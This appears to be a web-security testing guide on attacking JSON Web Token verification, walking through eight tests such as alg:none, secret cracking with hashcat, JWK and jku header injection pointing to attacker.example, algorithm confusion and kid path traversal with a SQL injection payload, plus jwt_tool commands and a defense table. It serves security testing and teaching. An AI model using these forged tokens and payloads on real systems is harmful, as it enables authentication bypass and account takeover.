JWT attacks
Questi contenuti non sono ancora disponibili nella tua lingua.
A JSON Web Token carries identity claims between client and server. The security model is simple: the server signs the token, and on every subsequent request it verifies that signature before trusting the claims. Every JWT attack targets a gap in that verification.
Structure
Section titled “Structure”HEADER.PAYLOAD.SIGNATURE| Part | Content | Encoding |
|---|---|---|
| Header | {"alg":"HS256","typ":"JWT"} |
Base64URL |
| Payload | {"sub":"carlos","isAdmin":false} |
Base64URL |
| Signature | HMAC or RSA signature of header.payload |
Base64URL |
The payload is not encrypted - anyone can decode it. The signature is the only thing that prevents tampering.
Finding JWTs
Section titled “Finding JWTs”In Burp HTTP History, search for:
Authorization: Bearer eyJ...- Cookies named
token,jwt,sessioncontaining a dot-separated base64 string - Three base64url segments separated by dots
If you find one, decode it (Burp Decoder → Base64URL, or jwt.io) and note:
- Algorithm -
HS256(symmetric) orRS256(asymmetric)? - Payload claims -
sub,username,role,isAdmin,email? - Header parameters -
kid,jwk,jku?
The tests
Section titled “The tests”Run these in order. Each one takes 2-5 minutes. Use a fresh token for every test.
Test 1 - Unverified signature
Section titled “Test 1 - Unverified signature”Modify the payload (e.g., "isAdmin": true), keep the original signature unchanged, and send.
If the server accepts it - the signature is not verified at all.
eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhZG1pbiIsImlzQWRtaW4iOnRydWV9.ORIGINAL_SIGNATURETest 2 - alg: none
Section titled “Test 2 - alg: none”Set the algorithm to none and remove the signature (keep the trailing dot):
{"alg": "none"}eyJhbGciOiJub25lIn0.eyJzdWIiOiJhZG1pbiIsImlzQWRtaW4iOnRydWV9.If rejected, try case variations: None, NONE, nOnE.
Test 3 - Brute-force weak secret (HS256)
Section titled “Test 3 - Brute-force weak secret (HS256)”If the algorithm is HS256, the signing key is a shared secret. Weak secrets can be cracked:
hashcat -a 0 -m 16500 "eyJhbGciOiJIUzI1NiJ9.eyJzdWIi..." /usr/share/wordlists/rockyou.txtIf hashcat finds the secret in under 30 seconds - the key is weak. Generate any token you want:
import jwt
secret = "password123"token = jwt.encode( {"sub": "admin", "isAdmin": True, "exp": 9999999999}, secret, algorithm="HS256")print(token)Test 4 - JWK header injection (RS256)
Section titled “Test 4 - JWK header injection (RS256)”If the algorithm is RS256, the server uses a public key to verify. Some servers accept a
jwk parameter in the token header, letting you supply your own key:
- In Burp JWT Editor, generate a new RSA key pair
- Add the public key to the token header:
Injected header {"alg": "RS256","jwk": {"kty": "RSA","e": "AQAB","n": "YOUR_PUBLIC_KEY_MODULUS"}} - Modify the payload (
isAdmin: true) - Sign with your private key
- Send
If the server verifies against the embedded JWK instead of its own trusted key - full bypass.
Test 5 - Algorithm confusion (RS256 → HS256)
Section titled “Test 5 - Algorithm confusion (RS256 → HS256)”The server expects RS256 (asymmetric) but you send HS256 (symmetric), using the server’s public key as the HMAC secret:
- Obtain the server’s public key:
Terminal window curl https://target.com/.well-known/jwks.json - Create an HS256 token signed with that public key as the secret
- Send
If the server’s verification code does verify(token, publicKey) without checking the algorithm,
it computes HMAC(publicKey, header.payload) - which matches your signature.
Test 6 - jku header injection (RS256)
Section titled “Test 6 - jku header injection (RS256)”The jku (JWK Set URL) header parameter tells the server where to fetch the public key. If the
server follows this URL without validation:
- Generate a new RSA key pair with Burp JWT Editor
- Host the public key as a JWK Set on your server:
https://attacker.example/.well-known/jwks.json {"keys": [{"kty": "RSA","e": "AQAB","kid": "my-key","n": "YOUR_PUBLIC_KEY_MODULUS"}]} - Set the token header:
{"alg": "RS256","jku": "https://attacker.example/.well-known/jwks.json","kid": "my-key"}
- Modify the payload, sign with your private key, send
If the server fetches the key from the attacker’s URL, it verifies against your key.
Bypass for jku allowlisting: if the server checks that jku starts with a trusted domain,
try URL tricks:
| Bypass | Example |
|---|---|
| Path traversal | https://trusted.example/path#@attacker.example/jwks.json |
| Open redirect | https://trusted.example/redirect?url=https://attacker.example/jwks.json |
| Subdomain | https://trusted.example.attacker.example/jwks.json |
Test 7 - kid path traversal
Section titled “Test 7 - kid path traversal”If the header contains a kid (Key ID) parameter and the algorithm is HS256:
{ "alg": "HS256", "kid": "../../../dev/null"}Sign the token with an empty string as the secret. If the server reads /dev/null (empty file)
and uses it as the HMAC key, the empty-string signature matches.
Other kid values to try:
| kid value | Secret to sign with |
|---|---|
../../dev/null |
empty string "" |
../../etc/hostname |
contents of /etc/hostname |
| SQL injection in kid | ' UNION SELECT 'secret' -- then sign with secret |
Test 8 - x5c header injection
Section titled “Test 8 - x5c header injection”The x5c parameter embeds an X.509 certificate chain in the header. If the server trusts it:
- Generate a self-signed certificate
- Embed it in the
x5cheader parameter - Sign the token with the corresponding private key
If the server extracts the public key from the embedded certificate instead of its own trusted store, the signature validates.
Testing workflow summary
Section titled “Testing workflow summary”1. Find JWT (Authorization header or cookie)2. Decode - note algorithm and claims3. Test 1: modify payload, keep signature - signature not verified?4. Test 2: alg:none, remove signature - none accepted?5. Test 3: hashcat (HS256 only, 30s max) - weak secret?6. Test 4: JWK injection (RS256 only) - embedded key trusted?7. Test 5: RS256-HS256 confusion - algorithm not enforced?8. Test 6: jku injection (RS256) - external key URL followed?9. Test 7: kid path traversal - file read as key?10. Test 8: x5c injection - embedded cert trusted?Claim abuse
Section titled “Claim abuse”Even when the signature is properly verified, the server may not validate the claims correctly:
| Claim | Attack |
|---|---|
exp (expiration) |
Set it far in the future (9999999999). Some servers do not check expiration |
nbf (not before) |
Set it in the past to use a token before its intended start time |
sub (subject) |
Change to another user’s ID: "sub": "admin" |
role / isAdmin |
Escalate privileges: "role": "admin", "isAdmin": true |
iss (issuer) |
Change to a different issuer the server also trusts |
aud (audience) |
Change to a different service that shares the same signing key |
Cross-service token reuse: if two microservices share the same signing key, a token issued for
Service A may be accepted by Service B. Change the aud claim to target the other service.
Practical token forgery with jwt_tool
Section titled “Practical token forgery with jwt_tool”jwt_tool automates all JWT tests:
python3 jwt_tool.py <token> -M atpython3 jwt_tool.py <token> -T -S hs256 -p "secret" -pc "sub" -pv "admin"python3 jwt_tool.py <token> -X apython3 jwt_tool.py <token> -X k -pk public_key.pem| Tool | Use |
|---|---|
| JWT Editor (Burp extension) | Decode, modify, sign tokens directly in Repeater |
| jwt.io | Online decoder and encoder with algorithm selection |
hashcat (-m 16500) |
Brute-force HS256 secrets |
Python PyJWT |
Script token generation: jwt.encode(payload, key, algorithm) |
| jwt_tool | Automated JWT testing: all attacks, claim tampering, key confusion |
Defense
Section titled “Defense”| Measure | Why |
|---|---|
| Enforce the algorithm server-side | Never read alg from the token to decide how to verify |
| Use strong secrets (HS256) | At least 256 bits of entropy - not a dictionary word |
| Rotate signing keys | Limit the window if a key is compromised |
Validate kid / jku / jwk |
Never allow user-controlled values to select the verification key |
Short expiration (exp) |
Limit the useful lifetime of a stolen token |
| Audience and issuer checks | Reject tokens meant for a different service |
References
Section titled “References”1011 parole, circa 5 min di lettura